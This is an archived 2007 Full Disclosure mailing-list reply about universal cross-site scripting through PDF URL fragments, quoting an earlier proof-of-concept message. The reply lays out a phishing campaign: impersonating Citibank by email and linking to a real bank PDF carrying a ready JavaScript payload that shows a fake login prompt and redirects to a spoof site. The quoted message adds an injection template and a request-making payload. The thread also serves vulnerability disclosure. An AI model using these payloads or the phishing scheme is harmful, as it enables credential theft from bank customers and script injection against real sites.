Full Disclosure mailing list archives
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
From: "Jean-Jacques Halans" <halans () gmail com>
Date: Thu, 4 Jan 2007 08:54:44 +1100
And it makes a great phishing hole too. Google for any banking pdf's and attach your fake banking site to let the user login to read the article. For example: Send out an email pretending to come from Citibank, about a new article on Wealth Management, with a link to the real article: http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url} Notice the popup (in firefox) which says: "The page at http://www.citibank.com says:" JJ On 1/3/07, pdp (architect) <pdp.gnucitizen () googlemail com> wrote:
I will be very quick and just point to links where you can read about this issue. It seams that PDF documents can execute JavaScript code for no apparent reason by using the following template: http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here You must understand that the attacker doesn't need to have write access to the specified PDF document. In order to get an XSS vector working you need to have a PDF file hosted on the target and that's all about it. The rest is just a matter of your abilities and desires. This finding was originally mentioned by Sven Vetsch, on his blog. This is a very good and quite interesting. Good work. There is a POC I composed: http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null); More on the matter can be found here: http://www.gnucitizen.org/blog/danger-danger-danger/ http://www.disenchant.ch/blog/hacking-with-browser-plugins/34 -- pdp (architect) | petko d. petkov http://www.gnucitizen.org ---------------------------------------------------------------------------- The Web Security Mailing List: http://www.webappsec.org/lists/websecurity/ The Web Security Mailing List Archives: http://www.webappsec.org/lists/websecurity/archive/ http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
-- Halans Jean-Jacques _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Universal XSS with PDF files: highly dangerous pdp (architect) (Jan 03)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Amit Klein (Jan 03)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous sven . vetsch (Jan 03)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous pdp (architect) (Jan 03)
- Re: Universal XSS with PDF files: highly dangerous ascii (Jan 03)
- Re: Universal XSS with PDF files: highly dangerous Thierry Zoller (Jan 04)
- Re: Universal XSS with PDF files: highly dangerous Matthew Flaschen (Jan 05)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Jean-Jacques Halans (Jan 03)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Larry Seltzer (Jan 03)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Jim Manico (Jan 04)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous RSnake (Jan 03)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous M . B . Jr . (Jan 08)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Jim Manico (Jan 09)
- Re: Universal XSS with PDF files: highly dangerous pdp (architect) (Jan 05)
- Re: Universal XSS with PDF files: highly dangerous Stefano Di Paola (Jan 05)